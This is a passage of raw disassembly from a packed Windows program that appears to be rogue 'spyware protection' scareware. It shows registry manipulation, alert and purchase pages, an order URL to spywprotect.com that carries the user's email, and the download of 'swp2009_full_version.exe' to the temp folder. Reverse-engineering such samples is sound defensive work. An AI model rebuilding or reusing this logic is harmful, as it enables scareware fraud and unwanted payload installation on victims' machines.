call dword_41D000 ; RegCloseKey
loc_4086CA: ; CODE XREF: sub_4083DE+2E0j
mov ebx, [esp+454h+var_440]
mov [esp+454h+var_444], ebx
test eax, eax
jz loc_40875C
jmp short loc_4086E0
; ---------------------------------------------------------------------------
loc_4086DC: ; CODE XREF: sub_4083DE+2D8j
mov ebx, [esp+454h+var_444]
loc_4086E0: ; CODE XREF: sub_4083DE+2FCj
and [esp+454h+var_440], 0
lea eax, [esp+454h+var_440]
push eax
push 20019h
push 0
push edi
push [esp+464h+var_438]
call esi ; dword_41D010
xor esi, esi
test eax, eax
jnz short loc_408715
cmp ebx, esi
jz short loc_408709
push ebx
call dword_41D000 ; RegCloseKey
loc_408709: ; CODE XREF: sub_4083DE+322j
mov ebx, [esp+454h+var_440]
mov [esp+454h+var_444], ebx
cmp eax, esi
jz short loc_40875C
loc_408715: ; CODE XREF: sub_4083DE+31Ej
lea eax, [esp+454h+var_42C]
push eax
lea eax, [esp+458h+var_440]
push eax
push esi
push 2001Fh
push esi
push esi
push esi
push edi
push [esp+474h+var_438]
mov [esp+478h+var_440], esi
call dword_41D020 ; RegCreateKeyExW
cmp eax, esi
jnz loc_4089AB
xor eax, eax
cmp ebx, esi
jz short loc_40874C
push ebx
call dword_41D000 ; RegCloseKey
loc_40874C: ; CODE XREF: sub_4083DE+365j
mov ebx, [esp+454h+var_440]
mov [esp+454h+var_444], ebx
cmp eax, esi
jnz loc_4089AB
loc_40875C: ; CODE XREF: sub_4083DE+2F6j
; sub_4083DE+335j
mov ecx, [esp+454h+var_43C]
mov eax, edi
call sub_407BAF
mov esi, eax
test esi, esi
jl loc_408890
cmp word ptr [edi], 3Dh
jnz loc_408505
mov ecx, [esp+454h+var_43C]
push edi
push 0
lea edx, [esp+45Ch+var_444]
call sub_407CD3
jmp loc_4084FB
; ---------------------------------------------------------------------------
loc_408790: ; CODE XREF: sub_4083DE+2B4j
cmp [ebp+arg_C], ebx
jnz short loc_4087D3
lea eax, [esp+454h+var_440]
push eax
push 20019h
push ebx
push edi
push [esp+464h+var_438]
mov [esp+468h+var_440], ebx
call dword_41D010 ; RegOpenKeyExW
cmp eax, ebx
jnz short loc_4087CD
xor eax, eax
cmp [esp+454h+var_444], ebx
jz short loc_4087C5
push [esp+454h+var_444]
call dword_41D000 ; RegCloseKey
loc_4087C5: ; CODE XREF: sub_4083DE+3DBj
mov ecx, [esp+454h+var_440]
mov [esp+454h+var_444], ecx
loc_4087CD: ; CODE XREF: sub_4083DE+3D3j
mov [esp+454h+var_440], eax
jmp short loc_4087DB
; ---------------------------------------------------------------------------
loc_4087D3: ; CODE XREF: sub_4083DE+3B5j
mov [esp+454h+var_440], 2
loc_4087DB: ; CODE XREF: sub_4083DE+3F3j
cmp [esp+454h+var_440], ebx
jz short loc_4087E8
mov [ebp+arg_C], 1
loc_4087E8: ; CODE XREF: sub_4083DE+401j
push 0FFFFFFFFh
push edi
lea eax, [esp+45Ch+var_428]
push 104h
push eax
call sub_40B4EA
push eax
call sub_4010F0
; ---------------------------------------------------------------------------
mov ecx, [esp+468h+var_43C]
add esp, 14h
mov eax, edi
call sub_407BAF
mov esi, eax
test esi, esi
jl short loc_408890
mov ecx, [esp+454h+var_43C]
call sub_40809A
mov esi, eax
test esi, esi
jl short loc_408890
cmp word ptr [edi], 7Bh
jnz short loc_408865
push edi
call dword_41D1F0 ; lstrlenW
cmp eax, 1
jnz short loc_408865
push [ebp+arg_C]
mov ecx, [esp+458h+var_43C]
push 0
push [esp+45Ch+var_444]
push edi
call sub_4083DE
mov esi, eax
test esi, esi
jge short loc_408854
cmp [ebp+arg_C], 0
jz short loc_408890
loc_408854: ; CODE XREF: sub_4083DE+46Ej
mov ecx, [esp+454h+var_43C]
mov eax, edi
call sub_407BAF
mov esi, eax
test esi, esi
jl short loc_408890
loc_408865: ; CODE XREF: sub_4083DE+449j
; sub_4083DE+455j
mov eax, [esp+454h+var_430]
mov [ebp+arg_C], eax
mov eax, [esp+454h+var_440]
cmp eax, 2
jz loc_408549
xor ebx, ebx
cmp eax, ebx
jz short loc_4088C9
cmp [esp+454h+var_430], ebx
jnz loc_408549
loc_408889: ; CODE XREF: sub_4083DE+25Aj
; sub_4083DE+57Dj
call sub_4072B2
mov esi, eax
loc_408890: ; CODE XREF: sub_4083DE+BDj
; sub_4083DE+10Ej ...
cmp [esp+454h+var_444], 0
loc_408895: ; CODE XREF: sub_4083DE+5A7j
jz short loc_4088A1
push [esp+454h+var_444]
call dword_41D000 ; RegCloseKey
loc_4088A1: ; CODE XREF: sub_4083DE+77j
; sub_4083DE:loc_408895j
mov eax, esi
loc_4088A3: ; CODE XREF: sub_4083DE+6Dj
; sub_4083DE+59Ej ...
mov ecx, [esp+454h+var_C]
mov large fs:0, ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, [esp+444h+var_14]
xor ecx, esp
call sub_40AC1C
mov esp, ebp
pop ebp
retn 10h
; ---------------------------------------------------------------------------
loc_4088C9: ; CODE XREF: sub_4083DE+49Fj
cmp [esp+454h+var_430], ebx
jz short loc_40890C
push [esp+454h+var_444]
call sub_408065
test eax, eax
jz short loc_40890C
lea eax, [esp+454h+var_428]
push eax
call sub_408039
test eax, eax
jz loc_408549
cmp [esp+454h+var_434], 0
jz loc_408549
lea eax, [esp+454h+var_428]
push eax
lea ecx, [esp+458h+var_444]
call sub_40747A
jmp loc_408549
; ---------------------------------------------------------------------------
loc_40890C: ; CODE XREF: sub_4083DE+4EFj
; sub_4083DE+4FCj
push [esp+454h+var_444]
call sub_408065
mov [esp+454h+var_440], eax
cmp [esp+454h+var_444], ebx
jz short loc_408935
push [esp+454h+var_444]
call dword_41D000 ; RegCloseKey
mov [esp+454h+var_444], ebx
cmp eax, ebx
jnz loc_4089C4
loc_408935: ; CODE XREF: sub_4083DE+53Fj
cmp [esp+454h+var_434], ebx
jz loc_408549
cmp [esp+454h+var_440], 0
jnz loc_408549
lea eax, [esp+454h+var_428]
push eax
push [esp+458h+var_438]
call dword_41D008 ; RegDeleteKeyW
test eax, eax
jnz loc_408889
jmp loc_408549
; ---------------------------------------------------------------------------
loc_408966: ; CODE XREF: sub_4083DE+D9j
; sub_4083DE+1ECj
cmp [esp+454h+var_444], 0
loc_40896B: ; CODE XREF: sub_4083DE+5CBj
jz short loc_408977
push [esp+454h+var_444]
call dword_41D000 ; RegCloseKey
loc_408977: ; CODE XREF: sub_4083DE:loc_40896Bj
mov eax, 80020009h
jmp loc_4088A3
; ---------------------------------------------------------------------------
loc_408981: ; CODE XREF: sub_4083DE+221j
cmp [esp+454h+var_444], ebx
jmp loc_408895
; ---------------------------------------------------------------------------
loc_40898A: ; CODE XREF: sub_4083DE+27Aj
call sub_4072B2
mov esi, eax
test ebx, ebx
jz loc_408890
push ebx
call dword_41D000 ; RegCloseKey
jmp loc_408890
; ---------------------------------------------------------------------------
loc_4089A5: ; CODE XREF: sub_4083DE+2ABj
cmp [esp+454h+var_444], ebx
jmp short loc_40896B
; ---------------------------------------------------------------------------
loc_4089AB: ; CODE XREF: sub_4083DE+35Bj
; sub_4083DE+378j
call sub_4072B2
mov edi, eax
cmp ebx, esi
jz short loc_4089BD
push ebx
call dword_41D000 ; RegCloseKey
loc_4089BD: ; CODE XREF: sub_4083DE+5D6j
mov eax, edi
jmp loc_4088A3
sub_4083DE endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4083DE
loc_4089C4: ; CODE XREF: sub_4083DE+551j
call sub_4072B2
jmp loc_4088A3
; END OF FUNCTION CHUNK FOR sub_4083DE
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame fpd=9E8h
sub_4089CE proc near ; CODE XREF: UPX0:004073DBp
var_A68 = dword ptr -0A68h
var_A64 = dword ptr -0A64h
var_A60 = dword ptr -0A60h
var_A5C = dword ptr -0A5Ch
var_A58 = byte ptr -0A58h
var_A40 = byte ptr -0A40h
var_A3C = dword ptr -0A3Ch
var_A38 = dword ptr -0A38h
var_A34 = byte ptr -0A34h
var_624 = word ptr -624h
var_622 = word ptr -622h
var_20C = byte ptr -20Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
lea ebp, [esp-9E8h]
sub esp, 0A68h
mov eax, dword_42A034
xor eax, ebp
mov [ebp+9E8h+var_4], eax
mov eax, [ebp+9E8h+arg_0]
push ebx
push esi
push edi
mov [ebp+9E8h+var_A3C], eax
mov eax, [ebp+9E8h+arg_4]
mov esi, ecx
xor ebx, ebx
push 6
mov [ebp+9E8h+var_A38], eax
pop ecx
xor eax, eax
mov [ebp+9E8h+var_A68], offset off_424BDC
mov [ebp+9E8h+var_A64], ebx
mov [ebp+9E8h+var_A60], ebx
mov [ebp+9E8h+var_A5C], ebx
lea edi, [ebp+9E8h+var_A58]
rep stosd
lea ecx, [ebp+9E8h+var_A58]
mov [ebp+9E8h+var_A40], bl
call sub_401154
cmp eax, ebx
jl short loc_408A35
mov [ebp+9E8h+var_A40], 1
cmp esi, ebx
jz short loc_408A71
jmp short loc_408A6B
; ---------------------------------------------------------------------------
loc_408A35: ; CODE XREF: sub_4089CE+5Bj
; sub_4089CE+B1j ...
mov esi, eax
loc_408A37: ; CODE XREF: sub_4089CE+E7j
; sub_4089CE+13Bj
lea ecx, [ebp+9E8h+var_A68]
call sub_4077EF
mov ecx, [ebp+9E8h+var_4]
pop edi
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call sub_40AC1C
add ebp, 9E8h
leave
retn 0Ch
; ---------------------------------------------------------------------------
loc_408A5B: ; CODE XREF: sub_4089CE+A1j
push dword ptr [esi+4]
push eax
lea eax, [ebp+9E8h+var_A68]
push eax
call sub_40783F
add esi, 8
loc_408A6B: ; CODE XREF: sub_4089CE+65j
mov eax, [esi]
cmp eax, ebx
jnz short loc_408A5B
loc_408A71: ; CODE XREF: sub_4089CE+63j
mov ecx, [ebp+9E8h+var_A3C]
mov eax, [ecx]
lea edx, [ebp+9E8h+var_A68]
push edx
call dword ptr [eax+14h]
cmp eax, ebx
jl short loc_408A35
call off_42A000
mov edi, dword_42E350
mov esi, 104h
push esi
lea eax, [ebp+9E8h+var_20C]
push eax
push edi
call dword_41D1FC ; GetModuleFileNameW
cmp eax, ebx
jnz short loc_408AAC
call sub_40119F
jmp short loc_408A35
; ---------------------------------------------------------------------------
loc_408AAC: ; CODE XREF: sub_4089CE+D5j
cmp eax, esi
jnz short loc_408AB7
mov esi, 8007007Ah
jmp short loc_408A37
; ---------------------------------------------------------------------------
loc_408AB7: ; CODE XREF: sub_4089CE+E0j
lea edx, [ebp+9E8h+var_20C]
mov eax, 208h
lea ecx, [ebp+9E8h+var_A34]
call sub_40738B
cmp edi, ebx
jz short loc_408ADE
push ebx
call dword_41D078 ; GetModuleHandleW
cmp edi, eax
jz short loc_408ADE
lea eax, [ebp+9E8h+var_A34]
jmp short loc_408B38
; ---------------------------------------------------------------------------
loc_408ADE: ; CODE XREF: sub_4089CE+FEj
; sub_4089CE+109j
push 22h
pop eax
mov [ebp+9E8h+var_624], ax
lea eax, [ebp+9E8h+var_A34]
push eax
lea eax, [ebp+9E8h+var_622]
push 20Bh
push eax
call sub_4010AC
add esp, 0Ch
test al, al
jnz short loc_408B0E
mov esi, 80004005h
jmp loc_408A37
; ---------------------------------------------------------------------------
loc_408B0E: ; CODE XREF: sub_4089CE+134j
lea eax, [ebp+9E8h+var_624]
push eax
call dword_41D1F0 ; lstrlenW
add eax, eax
push 22h
pop ecx
mov [ebp+eax+9E8h+var_624], cx
xor ecx, ecx
mov [ebp+eax+9E8h+var_622], cx
lea eax, [ebp+9E8h+var_624]
loc_408B38: ; CODE XREF: sub_4089CE+10Ej
push eax
push offset aModule ; "Module"
lea eax, [ebp+9E8h+var_A68]
push eax
call sub_40783F
cmp eax, ebx
jl loc_408A35
lea eax, [ebp+9E8h+var_A34]
push eax
push offset aModule_raw ; "Module_Raw"
lea eax, [ebp+9E8h+var_A68]
push eax
call sub_40783F
cmp eax, ebx
jl loc_408A35
call off_42A000
mov edx, [ebp+9E8h+var_A38]
cmp [ebp+9E8h+arg_8], ebx
jz short loc_408B8C
cmp edx, ebx
jz short loc_408B82
push 1
jmp short loc_408B91
; ---------------------------------------------------------------------------
loc_408B82: ; CODE XREF: sub_4089CE+1AEj
; sub_4089CE+1C0j
mov eax, 80070057h
jmp loc_408A35
; ---------------------------------------------------------------------------
loc_408B8C: ; CODE XREF: sub_4089CE+1AAj
cmp edx, ebx
jz short loc_408B82
push ebx
loc_408B91: ; CODE XREF: sub_4089CE+1B2j
push offset off_4245A8
lea eax, [ebp+9E8h+var_A68]
push eax
lea ecx, [ebp+9E8h+var_20C]
call sub_4078AB
jmp loc_408A35
sub_4089CE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame fpd=9E4h
sub_408BAA proc near ; CODE XREF: UPX0:004073F3p
var_A64 = dword ptr -0A64h
var_A60 = dword ptr -0A60h
var_A5C = dword ptr -0A5Ch
var_A58 = dword ptr -0A58h
var_A54 = byte ptr -0A54h
var_A3C = byte ptr -0A3Ch
var_A38 = dword ptr -0A38h
var_A34 = byte ptr -0A34h
var_624 = word ptr -624h
var_622 = word ptr -622h
var_20C = byte ptr -20Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = word ptr 0Ch
arg_8 = dword ptr 10h
push ebp
lea ebp, [esp-9E4h]
sub esp, 0A64h
mov eax, dword_42A034
xor eax, ebp
mov [ebp+9E4h+var_4], eax
mov eax, [ebp+9E4h+arg_0]
push ebx
push esi
push edi
mov esi, ecx
xor ebx, ebx
push 6
mov [ebp+9E4h+var_A38], eax
pop ecx
xor eax, eax
mov [ebp+9E4h+var_A64], offset off_424BDC
mov [ebp+9E4h+var_A60], ebx
mov [ebp+9E4h+var_A5C], ebx
mov [ebp+9E4h+var_A58], ebx
lea edi, [ebp+9E4h+var_A54]
rep stosd
lea ecx, [ebp+9E4h+var_A54]
mov [ebp+9E4h+var_A3C], bl
call sub_401154
cmp eax, ebx
jl short loc_408C08
mov [ebp+9E4h+var_A3C], 1
cmp esi, ebx
jz short loc_408C44
jmp short loc_408C3E
; ---------------------------------------------------------------------------
loc_408C08: ; CODE XREF: sub_408BAA+52j
; sub_408BAA+A8j ...
mov esi, eax
loc_408C0A: ; CODE XREF: sub_408BAA+DEj
; sub_408BAA+132j
lea ecx, [ebp+9E4h+var_A64]
call sub_4077EF
mov ecx, [ebp+9E4h+var_4]
pop edi
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call sub_40AC1C
add ebp, 9E4h
leave
retn 0Ch
; ---------------------------------------------------------------------------
loc_408C2E: ; CODE XREF: sub_408BAA+98j
push dword ptr [esi+4]
push eax
lea eax, [ebp+9E4h+var_A64]
push eax
call sub_40783F
add esi, 8
loc_408C3E: ; CODE XREF: sub_408BAA+5Cj
mov eax, [esi]
cmp eax, ebx
jnz short loc_408C2E
loc_408C44: ; CODE XREF: sub_408BAA+5Aj
mov ecx, [ebp+9E4h+var_A38]
mov eax, [ecx]
lea edx, [ebp+9E4h+var_A64]
push edx
call dword ptr [eax+14h]
cmp eax, ebx
jl short loc_408C08
call off_42A000
mov edi, dword_42E350
mov esi, 104h
push esi
lea eax, [ebp+9E4h+var_20C]
push eax
push edi
call dword_41D1FC ; GetModuleFileNameW
cmp eax, ebx
jnz short loc_408C7F
call sub_40119F
jmp short loc_408C08
; ---------------------------------------------------------------------------
loc_408C7F: ; CODE XREF: sub_408BAA+CCj
cmp eax, esi
jnz short loc_408C8A
mov esi, 8007007Ah
jmp short loc_408C0A
; ---------------------------------------------------------------------------
loc_408C8A: ; CODE XREF: sub_408BAA+D7j
lea edx, [ebp+9E4h+var_20C]
mov eax, 208h
lea ecx, [ebp+9E4h+var_A34]
call sub_40738B
cmp edi, ebx
jz short loc_408CB1
push ebx
call dword_41D078 ; GetModuleHandleW
cmp edi, eax
jz short loc_408CB1
lea eax, [ebp+9E4h+var_A34]
jmp short loc_408D0B
; ---------------------------------------------------------------------------
loc_408CB1: ; CODE XREF: sub_408BAA+F5j
; sub_408BAA+100j
push 22h
pop eax
mov [ebp+9E4h+var_624], ax
lea eax, [ebp+9E4h+var_A34]
push eax
lea eax, [ebp+9E4h+var_622]
push 20Bh
push eax
call sub_4010AC
add esp, 0Ch
test al, al
jnz short loc_408CE1
mov esi, 80004005h
jmp loc_408C0A
; ---------------------------------------------------------------------------
loc_408CE1: ; CODE XREF: sub_408BAA+12Bj
lea eax, [ebp+9E4h+var_624]
push eax
call dword_41D1F0 ; lstrlenW
add eax, eax
push 22h
pop ecx
mov [ebp+eax+9E4h+var_624], cx
xor ecx, ecx
mov [ebp+eax+9E4h+var_622], cx
lea eax, [ebp+9E4h+var_624]
loc_408D0B: ; CODE XREF: sub_408BAA+105j
push eax
push offset aModule ; "Module"
lea eax, [ebp+9E4h+var_A64]
push eax
call sub_40783F
cmp eax, ebx
jl loc_408C08
lea eax, [ebp+9E4h+var_A34]
push eax
push offset aModule_raw ; "Module_Raw"
lea eax, [ebp+9E4h+var_A64]
push eax
call sub_40783F
cmp eax, ebx
jl loc_408C08
call off_42A000
cmp [ebp+9E4h+arg_8], ebx
jz short loc_408D6C
push 1
loc_408D4C: ; CODE XREF: sub_408BAA+1C3j
movzx edx, [ebp+9E4h+arg_4]
push offset off_4245A8
lea eax, [ebp+9E4h+var_A64]
push eax
lea ecx, [ebp+9E4h+var_20C]
call sub_4078AB
jmp loc_408C08
; ---------------------------------------------------------------------------
loc_408D6C: ; CODE XREF: sub_408BAA+19Ej
push ebx
jmp short loc_408D4C
sub_408BAA endp
; =============== S U B R O U T I N E =======================================
sub_408D6F proc near ; CODE XREF: sub_409533+44p
; sub_409BC7+44p ...
arg_0 = dword ptr 4
xor eax, eax
push eax
push eax
push [esp+8+arg_0]
mov byte ptr [esi], 1
push eax
call dword_41D09C ; CreateEventW
mov [esi+4], eax
mov eax, esi
retn 4
sub_408D6F endp
; ---------------------------------------------------------------------------
loc_408D89: ; CODE XREF: UPX0:0041C6C6j
; UPX0:0041C781j ...
cmp byte ptr [eax], 0
jz short locret_408D97
push dword ptr [eax+4]
call dword_41D0A8 ; CloseHandle
locret_408D97: ; CODE XREF: UPX0:00408D8Cj
retn
; =============== S U B R O U T I N E =======================================
sub_408D98 proc near ; CODE XREF: sub_417588+BBp
push 0
mov eax, offset loc_41C6EE
call sub_40C46D
mov esi, [ebp+8]
push offset aPurchase_htm ; "purchase.htm"
push esi
call sub_418A96
and dword ptr [ebp-4], 0
xor ecx, ecx
push ecx
mov eax, offset sub_408E29
push eax
push 1
push offset aFirst ; "first"
mov ecx, esi
mov dword ptr [esi], offset off_424BF8
mov dword ptr [esi+24h], (offset loc_424C0F+5)
call sub_418122
xor ecx, ecx
push ecx
mov eax, offset sub_408F0F
push eax
push 1
push offset aHandshake ; "handshake"
mov ecx, esi
call sub_418122
xor ecx, ecx
push ecx
mov eax, offset sub_408F59
push eax
push 1
push offset aSetemail ; "setemail"
mov ecx, esi
call sub_418122
xor ecx, ecx
push ecx
mov eax, offset sub_408FB6
push eax
push 1
push offset aInstallerurl ; "installerurl"
mov ecx, esi
call sub_418122
mov eax, esi
call sub_40C50C
retn 4
sub_408D98 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408E29 proc near ; DATA XREF: sub_408D98+21o
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
push 200h
push 1
mov [ebp+var_8], ecx
call sub_40B5BD
mov ebx, eax
pop ecx
mov eax, offset aHttpSpywprotec ; "http://spywprotect.com/orderint?prodid="...
mov edx, ebx
pop ecx
sub edx, eax
loc_408E4D: ; CODE XREF: sub_408E29+30j
movzx ecx, word ptr [eax]
mov [edx+eax], cx
inc eax
inc eax
test cx, cx
jnz short loc_408E4D
mov edi, ebx
dec edi
dec edi
loc_408E5F: ; CODE XREF: sub_408E29+3Fj
mov ax, [edi+2]
inc edi
inc edi
test ax, ax
jnz short loc_408E5F
mov esi, offset aR ; "&r="
movsd
movsd
mov edi, ebx
dec edi
dec edi
loc_408E75: ; CODE XREF: sub_408E29+55j
mov ax, [edi+2]
inc edi
inc edi
test ax, ax
jnz short loc_408E75
mov esi, offset a16_0 ; "16.0"
movsd
movsd
movsw
call sub_41709B
mov [ebp+var_4], eax
test eax, eax
jz short loc_408EE6
call sub_4170DD
test al, al
jnz short loc_408EE6
mov edi, ebx
dec edi
dec edi
loc_408EA2: ; CODE XREF: sub_408E29+82j
mov ax, [edi+2]
inc edi
inc edi
test ax, ax
jnz short loc_408EA2
mov eax, [ebp+var_4]
mov esi, offset aEmail ; "&email="
movsd
movsd
movsd
movsd
mov edx, eax
loc_408EBB: ; CODE XREF: sub_408E29+9Aj
mov cx, [eax]
inc eax
inc eax
test cx, cx
jnz short loc_408EBB
sub eax, edx
mov edi, ebx
dec edi
dec edi
loc_408ECB: ; CODE XREF: sub_408E29+ABj
mov cx, [edi+2]
inc edi
inc edi
test cx, cx
jnz short loc_408ECB
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
loc_408EE6: ; CODE XREF: sub_408E29+6Aj
; sub_408E29+73j
lea eax, [ebp+var_4]
push eax
mov eax, [ebp+var_8]
push 1
push offset aRedir ; "redir"
mov [ebp+var_4], ebx
call sub_417FE1
push ebx
call sub_40ADC8
pop ecx
pop edi
pop esi
mov eax, offset aTrue ; "true"
pop ebx
leave
retn 8
sub_408E29 endp
; =============== S U B R O U T I N E =======================================
sub_408F0F proc near ; DATA XREF: sub_408D98+45o
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push esi
push dword ptr [eax]
call sub_40BABC
pop ecx
mov esi, eax
call sub_417114
test al, al
jnz short loc_408F40
call loc_417370
test al, al
jnz short loc_408F40
mov eax, esi
cdq
push 5
pop ecx
idiv ecx
add eax, 6Bh
imul eax, 3
jmp short loc_408F42
; ---------------------------------------------------------------------------
loc_408F40: ; CODE XREF: sub_408F0F+16j
; sub_408F0F+1Fj
xor eax, eax
loc_408F42: ; CODE XREF: sub_408F0F+2Fj
push 0Ah
mov esi, offset dword_42F10C
push esi
push eax
call sub_40BB16
add esp, 0Ch
mov eax, esi
pop esi
retn 8
sub_408F0F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408F59 proc near ; DATA XREF: sub_408D98+5Co
var_104 = dword ptr -104h
var_100 = byte ptr -100h
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 104h
push esi
push edi
mov edi, [ebp+arg_4]
mov esi, [edi]
lea eax, [ebp+var_100]
mov [ebp+var_104], eax
call off_42A000
push eax
push esi
lea eax, [ebp+var_104]
push eax
call sub_40A2F3
push [ebp+var_104]
call sub_417023
lea eax, [ebp+var_100]
cmp [ebp+var_104], eax
jz short loc_408FAE
push [ebp+var_104]
call sub_40ADC8
pop ecx
loc_408FAE: ; CODE XREF: sub_408F59+47j
mov eax, [edi]
pop edi
pop esi
leave
retn 8
sub_408F59 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame fpd=404h
sub_408FB6 proc near ; DATA XREF: sub_408D98+73o
var_620 = dword ptr -620h
var_61C = byte ptr -61Ch
var_59C = dword ptr -59Ch
var_598 = byte ptr -598h
var_518 = dword ptr -518h
var_514 = byte ptr -514h
var_498 = dword ptr -498h
var_494 = byte ptr -494h
var_414 = dword ptr -414h
var_410 = dword ptr -410h
var_408 = dword ptr -408h
var_404 = byte ptr -404h
var_4 = dword ptr -4
push ebp
sub esp, 400h
lea ebp, [esp-4]
mov eax, dword_42A034
xor eax, ebp
mov [ebp+404h+var_4], eax
push 210h
mov eax, offset loc_41C277
call sub_40C46D
mov ebx, [ebp+410h]
lea eax, [ebp+404h+var_404]
push eax
push 200h
mov [ebp+404h+var_414], ecx
call dword_41D090 ; GetTempPathW
lea edi, [ebp+404h+var_404]
dec edi
dec edi
loc_408FFA: ; CODE XREF: sub_408FB6+4Dj
mov ax, [edi+2]
inc edi
inc edi
test ax, ax
jnz short loc_408FFA
push 0Ch
pop ecx
mov esi, offset aSwp2009_full_v ; "swp2009_full_version.exe"
rep movsd
lea eax, [ebp+404h+var_494]
movsw
mov [ebp+404h+var_498], eax
call off_42A000
push eax
lea eax, [ebp+404h+var_404]
push eax
lea eax, [ebp+404h+var_498]
push eax
call sub_40A398
push [ebp+404h+var_498]
call sub_40B896
lea eax, [ebp+404h+var_494]
pop ecx
cmp [ebp+404h+var_498], eax
jz short loc_40905A
push [ebp+404h+var_498]
call sub_40ADC8
pop ecx
loc_40905A: ; CODE XREF: sub_408FB6+96j
mov esi, [ebx]
lea eax, [ebp+404h+var_514]
mov [ebp+404h+var_518], eax
call off_42A000
push eax
push esi
lea eax, [ebp+404h+var_518]
push eax
call sub_40A2F3
push [ebp+404h+var_518]
call dword_41D368 ; DeleteUrlCacheEntryW
lea eax, [ebp+404h+var_514]
cmp [ebp+404h+var_518], eax
jz short loc_4090A2
push [ebp+404h+var_518]
call sub_40ADC8
pop ecx
loc_4090A2: ; CODE XREF: sub_408FB6+DEj
mov ebx, [ebx]
lea eax, [ebp+404h+var_514]
mov [ebp+404h+var_518], eax
call off_42A000
push eax
push ebx
lea eax, [ebp+404h+var_518]
push eax
call sub_40A2F3
xor esi, esi
push esi
push esi
lea eax, [ebp+404h+var_404]
push eax
push [ebp+404h+var_518]
push esi
call sub_416F68
mov edi, eax
lea eax, [ebp+404h+var_514]
cmp [ebp+404h+var_518], eax
jz short loc_4090F4
push [ebp+404h+var_518]
call sub_40ADC8
pop ecx
loc_4090F4: ; CODE XREF: sub_408FB6+130j
cmp edi, esi
jnz loc_409195
lea eax, [ebp+404h+var_61C]
mov [ebp+404h+var_620], eax
call off_42A000
push eax
lea eax, [ebp+404h+var_404]
push eax
lea eax, [ebp+404h+var_620]
push eax
call sub_40A398
lea eax, [ebp+404h+var_598]
mov [ebp+404h+var_408], esi
mov [ebp+404h+var_59C], eax
call off_42A000
push eax
lea eax, [ebp+404h+var_404]
push eax
lea eax, [ebp+404h+var_59C]
push eax
call sub_40A398
push esi
push offset off_4246EE
push [ebp+404h+var_620]
push [ebp+404h+var_59C]
call sub_40B5FD
lea eax, [ebp+404h+var_598]
add esp, 10h
cmp [ebp+404h+var_59C], eax
jz short loc_409179
push [ebp+404h+var_59C]
call sub_40ADC8
pop ecx
loc_409179: ; CODE XREF: sub_408FB6+1B5j
lea eax, [ebp+404h+var_61C]
cmp [ebp+404h+var_620], eax
jz short loc_4091AC
push [ebp+404h+var_620]
call sub_40ADC8
pop ecx
jmp short loc_4091AC
; ---------------------------------------------------------------------------
loc_409195: ; CODE XREF: sub_408FB6+140j
mov eax, [ebp+404h+var_414]
push esi
push 4246F0h
push offset aCanTDownloadIn ; "Can't download installer, please try la"...
push dword ptr [eax+4]
call dword_41D2F4 ; MessageBoxW
loc_4091AC: ; CODE XREF: sub_408FB6+1CFj
; sub_408FB6+1DDj
mov eax, offset aTrue ; "true"
mov ecx, [ebp+404h+var_410]
mov large fs:0, ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, [ebp+404h+var_4]
xor ecx, ebp
call sub_40AC1C
add ebp, 404h
leave
retn 8
sub_408FB6 endp
; =============== S U B R O U T I N E =======================================
sub_4091D6 proc near ; DATA XREF: UPX0:00423FC0o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_404B59
test [esp+4+arg_0], 1
jz short loc_4091EC
push esi
call sub_40AC11
pop ecx
loc_4091EC: ; CODE XREF: sub_4091D6+Dj
mov eax, esi
pop esi
retn 4
sub_4091D6 endp
; ---------------------------------------------------------------------------
loc_4091F2: ; CODE XREF: UPX0:0041C128j
push ecx
call sub_404B59
pop ecx
retn
; =============== S U B R O U T I N E =======================================
sub_4091FA proc near ; CODE XREF: sub_40A147+13p
push 0
mov eax, offset loc_41C6EE
call sub_40C46D
mov esi, [ebp+8]
push offset aAlert_htm ; "alert.htm"
push esi
call sub_418A96
xor ebx, ebx
mov [ebp-4], ebx
push 8
mov dword ptr [esi], offset off_424C34
mov dword ptr [esi+24h], offset loc_424C50
call sub_40B45F
pop ecx
cmp eax, ebx
jz short loc_40923B
mov ecx, [edi]
mov [eax], bl
mov [eax+4], ecx
jmp short loc_40923D
; ---------------------------------------------------------------------------
loc_40923B: ; CODE XREF: sub_4091FA+36j
xor eax, eax
loc_40923D: ; CODE XREF: sub_4091FA+3Fj
push 8
mov [esi+60h], eax
call sub_40B45F
pop ecx
cmp eax, ebx
jz short loc_409256
mov ecx, [edi+4]
mov [eax], bl
mov [eax+4], ecx
jmp short loc_409258
; ---------------------------------------------------------------------------
loc_409256: ; CODE XREF: sub_4091FA+50j
xor eax, eax
loc_409258: ; CODE XREF: sub_4091FA+5Aj
push ebx
mov [esi+5Ch], eax
mov eax, offset sub_4092A8
push eax
push 1
push offset aFstbuttonclick ; "fstButtonClick"
mov ecx, esi
call sub_418122
mov eax, esi
call sub_40C50C
retn 4
sub_4091FA endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_40927A proc near ; CODE XREF: sub_40937F+3p
; sub_40A147+52p ...
push esi
mov esi, [edi+60h]
mov dword ptr [edi], offset off_424C34
mov dword ptr [edi+24h], offset loc_424C50
test esi, esi
jz short loc_409294
call sub_40939B
loc_409294: ; CODE XREF: sub_40927A+13j
mov esi, [edi+5Ch]
test esi, esi
jz short loc_4092A0
call sub_40939B
loc_4092A0: ; CODE XREF: sub_40927A+1Fj
mov ecx, edi
pop esi
jmp sub_404B59
sub_40927A endp
